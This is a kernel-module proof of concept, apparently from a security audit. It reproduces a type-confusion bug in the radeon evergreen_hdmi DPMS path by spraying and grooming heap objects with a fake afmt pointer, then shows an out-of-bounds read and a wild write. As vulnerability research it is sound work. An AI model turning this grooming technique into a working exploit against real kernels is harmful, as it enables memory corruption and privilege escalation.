DF-4853 / evg_dpms_probe.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 | /* * DF-4853 probe KLD - evergreen_hdmi.c enc_priv type confusion on the * DPMS path (DF-4635 / DF-4828 family; NEW SINKS in evergreen_hdmi.c). * * Trigger path (modeset/dpms on any DCE4+ eDP laptop, no race needed): * every eDP panel encoder is INTERNAL_UNIPHY* with * ATOM_DEVICE_LCD_SUPPORT -> registered DRM_MODE_ENCODER_LVDS with * enc_priv = radeon_encoder_lvds* (280 bytes) * [atombios_encoders.c:2862-2869] * eDP connector detect -> radeon_dp_detect (radeon_connectors.c:1764-68) * -> radeon_audio_detect (radeon_audio.c:444): connector_type == eDP * (!= DRM_MODE_CONNECTOR_DisplayPort) -> else branch * -> radeon_encoder->audio = rdev->audio.hdmi_funcs [radeon_audio.c:471] * (DCE4+: .dpms = evergreen_hdmi_enable [radeon_audio.c:206]) * ANY dpms transition on the panel: * radeon_atom_encoder_dpms (atombios_encoders.c:1836) * encoder_mode = atombios_get_encoder_mode(encoder) * -> eDP connector => ATOM_ENCODER_MODE_DP [atombios_encoders.c:824-829] * gate at atombios_encoders.c:1848-1851: * (encoder_mode == HDMI || ENCODER_MODE_IS_DP) -> PASSES for eDP! * -> radeon_audio_dpms (radeon_audio.c:777) * -> evergreen_hdmi_enable(encoder, on/off) * * evergreen_hdmi.c:429 dig = radeon_encoder->enc_priv; (lvds! 280 bytes) * evergreen_hdmi.c:431 if (!dig || !dig->afmt) return; OOB READ +288 * (dig non-NULL and afmt-read non-NULL on groomed heap: * guard FALLS THROUGH - it checks the garbage) * evergreen_hdmi.c:437 connector audio detect ... either way: * evergreen_hdmi.c:438/443/446/449/453/455 * WREG32(HDMI_INFOFRAME_CONTROL0 + dig->afmt->offset,..) * WILD READ of garbage_ptr->offset -> MMIO offset * evergreen_hdmi.c:458 dig->afmt->enabled = enable; WILD WRITE * * NOTE: DF-4828's verdict dismissed the dpms path as unreachable for * mis-typed encoders ("encoder_mode-gated to HDMI/DP - the mis-typed * LVDS-mode encoders never take it"). That is wrong for eDP: an eDP * connector yields ATOM_ENCODER_MODE_DP while its encoder carries the * lvds-typed enc_priv, so the gate PASSES. evergreen_dp_enable * (:464-514, same dig->afmt pattern at :470/:473/:483.../:513) is the * DP-sink twin, reachable if a DisplayPort-class connector is served by * an LCD-carrying encoder. * * This KLD reproduces the exact heap geometry and the exact * evergreen_hdmi_enable deref sequence on the live kernel allocator: * 1. sprays 280-byte objects, finds an adjacent pair A,B (B == A+288) * 2. case "groomed": B[0..8) = &fake_afmt * -> replica of evergreen_hdmi_enable(enable=true): * OOB read dig->afmt (+288) == &fake_afmt (non-NULL, guard falls) * collects dig->afmt->offset (the value fed to WREG32 MMIO) * writes dig->afmt->enabled = true (fake_afmt.enabled 0 -> 1) * 3. case "NULL": B[0..8) = NULL -> silent return (hides in the field) */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/types.h> #define NALLOC 8192 #define LVDS_SIZE 280 /* sizeof(struct radeon_encoder_lvds) */ #define CHUNK_SIZE 288 /* zoneindex: (280+31)&~31 */ #define AFMT_OFF 288 /* offsetof(radeon_encoder_atom_dig, afmt) */ /* subset of the verbatim structs; afmt sits at +288 (evg_offsets.c) */ struct radeon_afmt_probe { bool enabled; /* +0 */ int offset; /* +4 */ bool last_buffer_filled_status; /* +8 */ int id; /* +12 */ }; struct radeon_encoder_atom_dig_probe { char _pad[AFMT_OFF]; /* everything before afmt */ struct radeon_afmt_probe *afmt; /* +288 - aliases victim+0 */ }; static struct radeon_afmt_probe fake_afmt; /* attacker-groomed content */ /* * VERBATIM replica of evergreen_hdmi.c:424-462 (evergreen_hdmi_enable) * with the encoder unrolled to its enc_priv (the only radeon_encoder * field touched) and MMIO factored out into 'mmio_reg' (the offset value * the six WREG32/WREG32_AND/WREG32_OR sites would program). */ static void evergreen_hdmi_enable_replica(struct radeon_encoder_atom_dig_probe *enc_priv, bool enable, int *mmio_reg, int *n_mmio) { struct radeon_encoder_atom_dig_probe *dig = enc_priv; /* :429 */ *n_mmio = 0; if (!dig || !dig->afmt) /* :431 OOB READ */ return; if (enable) { /* * :435-437 connector/audio detect - either branch * derefs dig->afmt->offset below; take the else branch * (no audio), which does both WREG32 sites: */ mmio_reg[(*n_mmio)++] = dig->afmt->offset; /* :446 INFOFRAME0 */ /* :449 AFMT_AUDIO_PACKET_CONTROL (same offset value) */ (*n_mmio)++; } else { /* :453-455 */ mmio_reg[(*n_mmio)++] = dig->afmt->offset; (*n_mmio)++; } dig->afmt->enabled = enable; /* :458 WILD WRITE */ } static int evg_probe_handler(struct module *m, int what, void *arg) { void **v; int i, ai = -1, bi = -1; struct radeon_encoder_atom_dig_probe *lvds_as_dig; struct radeon_afmt_probe *got; int mmio[4] = { 0, 0, 0, 0 }, n_mmio; switch (what) { case MOD_LOAD: v = kmalloc(sizeof(void *) * NALLOC, M_TEMP, M_WAITOK | M_ZERO); if (v == NULL) return ENOMEM; for (i = 0; i < NALLOC; i++) v[i] = kmalloc(LVDS_SIZE, M_TEMP, M_WAITOK); for (i = 0; i < NALLOC; i++) memset(v[i], 0xCC, LVDS_SIZE); kprintf("evg_probe: %d objs of %d bytes; usable chunk = %ju " "(want %d)\n", NALLOC, LVDS_SIZE, (uintmax_t)kmalloc_usable_size(v[0]), CHUNK_SIZE); for (ai = 0; ai < NALLOC; ai++) { for (bi = 0; bi < NALLOC; bi++) { if (ai != bi && (uint8_t *)v[bi] == (uint8_t *)v[ai] + CHUNK_SIZE) goto found; } } kprintf("evg_probe: no adjacent pair found\n"); for (i = 0; i < NALLOC; i++) kfree(v[i], M_TEMP); kfree(v, M_TEMP); return 0; found: /* * A = the 280-byte radeon_encoder_lvds (enc_priv of the * eDP panel encoder). B = the adjacent 288-byte kernel * object whose first 8 bytes dig->afmt (+288) reads. */ lvds_as_dig = (struct radeon_encoder_atom_dig_probe *)v[ai]; kprintf("evg_probe: adjacent pair A=%p B=%p (B-A=%zd want %d)\n", v[ai], v[bi], (ssize_t)((uint8_t *)v[bi] - (uint8_t *)v[ai]), CHUNK_SIZE); /* ---- case 1: neighbor groomed with a fake afmt pointer ---- */ memset(&fake_afmt, 0, sizeof(fake_afmt)); fake_afmt.offset = 0x5678; /* afmt->offset value */ *(void **)v[bi] = (void *)&fake_afmt; kprintf("evg_probe: victim B[0..8) groomed to %p (fake afmt)\n", *(void **)v[bi]); got = *(struct radeon_afmt_probe **) ((uint8_t *)lvds_as_dig + AFMT_OFF); kprintf("evg_probe: OOB READ dig->afmt (+%d) == %p " "(non-NULL -> guard at evergreen_hdmi.c:431 FALLS THROUGH)\n", AFMT_OFF, got); kprintf("evg_probe: fake_afmt before: enabled=%d offset=0x%x\n", fake_afmt.enabled, fake_afmt.offset); /* the audited call: dpms ON for the eDP encoder */ evergreen_hdmi_enable_replica(lvds_as_dig, true, mmio, &n_mmio); kprintf("evg_probe: after evergreen_hdmi_enable(true): " "enabled=%d <- WILD WRITE via OOB-read pointer " "(evergreen_hdmi.c:458)\n", fake_afmt.enabled); kprintf("evg_probe: collected %d distinct MMIO sites; " "dig->afmt->offset == 0x%x would be added to " "HDMI_INFOFRAME_CONTROL0/AFMT_AUDIO_PACKET_CONTROL " "WREG32s (:438-455)\n", n_mmio, mmio[0]); /* dpms OFF again: the disable branch writes enabled=false */ evergreen_hdmi_enable_replica(lvds_as_dig, false, mmio, &n_mmio); kprintf("evg_probe: after evergreen_hdmi_enable(false): " "enabled=%d (write-through both directions)\n", fake_afmt.enabled); /* ---- case 2: neighbor zeroed (the silent case) ---- */ *(void **)v[bi] = NULL; evergreen_hdmi_enable_replica(lvds_as_dig, true, mmio, &n_mmio); kprintf("evg_probe: victim B[0..8) zeroed -> OOB read NULL -> " "replica touched %d MMIO site(s), no write (silent; " "hides the bug)\n", n_mmio); for (i = 0; i < NALLOC; i++) kfree(v[i], M_TEMP); kfree(v, M_TEMP); kprintf("evg_probe: done\n"); return 0; case MOD_UNLOAD: return 0; default: return EOPNOTSUPP; } } static moduledata_t evg_probe_mod = { "evg_probe", evg_probe_handler, NULL }; DECLARE_MODULE(evg_probe, evg_probe_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |